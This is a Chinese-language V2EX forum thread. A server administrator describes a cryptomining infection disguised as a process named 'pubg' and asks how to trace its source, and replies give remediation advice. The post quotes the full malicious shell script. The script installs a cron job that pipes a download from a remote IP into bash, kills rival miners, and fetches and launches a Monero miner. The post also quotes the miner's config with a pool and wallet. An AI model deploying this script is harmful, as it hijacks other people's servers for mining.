服务器遭遇一个 pubg 的程序入侵

2017-11-07 20:12:06 +08:00
 PyPog

下午突然收到报警,服务器 cpu load 值很高,登录服务器查看,发现被搞了。

top 里边发现一个叫 pubg 的进程一直占用 98%左右的 cpu 使用率,使用 lsof 查看进程打开的文件,找到了程序所在,强制杀掉进程,删除 pubg 文件,发现过一会进程自动启动了,猜测应该是有计划任务。

检查计划任务,发现果然有一条规则,每分钟都会从一个 ip 地址下载一个叫 steam.sh 的脚本并且执行,查找 ip 地址所属地,发现位于台湾。

清理计划任务,杀掉 pubg 进程,发现过一会计划任务和进程有全部恢复了,采用 sysdig 检查所有用户行为,没看到有用户进行奇怪的操作,检查不到是什么操作修改计划任务和恢复了 pubg 进程。

最后,停止 crond 进程,杀掉 pubg 进程,发现 pubg 进程没有再次恢复,暂时解决了问题。

想问一下大伙,有什么其他的办法能检查出这个攻击的根源在那里。

谢谢大伙

steam.sh 内容如下:

#!/bin/sh
/bin/cat /dev/null > /mnt/etc/crontab
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
	pwd
else
	kill -9 `ps -eo pcpu,pid,cmd | sort -k1 -r | awk '{if($1>60)print$2}'`
	ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "jaav"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
	crontab -r || true && \
		echo "* * * * * /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s" >> /tmp/cron || true && \
		crontab /tmp/cron || true && \
		rm -rf /tmp/cron || true && \
		curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
	curl -o /var/tmp/pubg http://35.194.156.203/gcc
	chmod 777 /var/tmp/pubg
	cd /var/tmp
	proc=`grep -c ^processor /proc/cpuinfo`
	cores=$(($proc+1))
	num=$(($cores*3))
	/sbin/sysctl -w vm.nr_hugepages=$num
	nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
	pwd
else
	curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
	curl -o /var/tmp/pubg http://35.194.156.203/gcc
	chmod 777 /var/tmp/pubg
	cd /var/tmp
	proc=`grep -c ^processor /proc/cpuinfo`
	cores=$(($proc+1))
	num=$(($cores*3))
	/sbin/sysctl -w vm.nr_hugepages=$num
	nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."%

config.json 内容如下:

{
    "algo": "cryptonight",
    "av": 0,
    "background": false,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 0,
    "log-file": null,
    "max-cpu-usage": 90,
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "syslog": false,
    "threads": null,
    "pools": [
        {
            "url": "stratum+tcp://get.bi-chi.com:5555",
            "user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
            "pass": "x",
            "keepalive": false,
            "nicehash": false
        }
    ]
}
5506 次点击
所在节点    Linux
24 条回复
PyPog
2017-11-08 11:46:56 +08:00
@mritd 只对本地自己用的公网 IP 地址开放了 8080,镜像这个确实需要查一下
mritd
2017-11-08 11:58:34 +08:00
@PyPog 镜像其实感觉官方的 太 low 或者不适用 最好自己撸,我就造了不少轮子, 嘿嘿 https://github.com/mritd/dockerfile
PyPog
2017-11-08 13:41:51 +08:00
@mritd 哇,感谢,有时间学习一下
findex
2017-11-15 17:17:01 +08:00
这是将挖矿的程序伪装成 steam 吃鸡的进程。
看了看代码,竟然是用你的 CPU 多线程开挖。像是这种情况,你可以将证据收集,去矿场 bi-chi.com 发 ticket 说明自己收到了攻击,请求吊销该 ID 的所有的挖矿许可。
其次,你要自己查看下对方利用什么方式侵入你的主机的。有没有 patch 你的服务器。看看 CVE 上最新的远程执行漏洞。服务器太老,记得升级,不 patch 的话风险很大的。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/404410

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX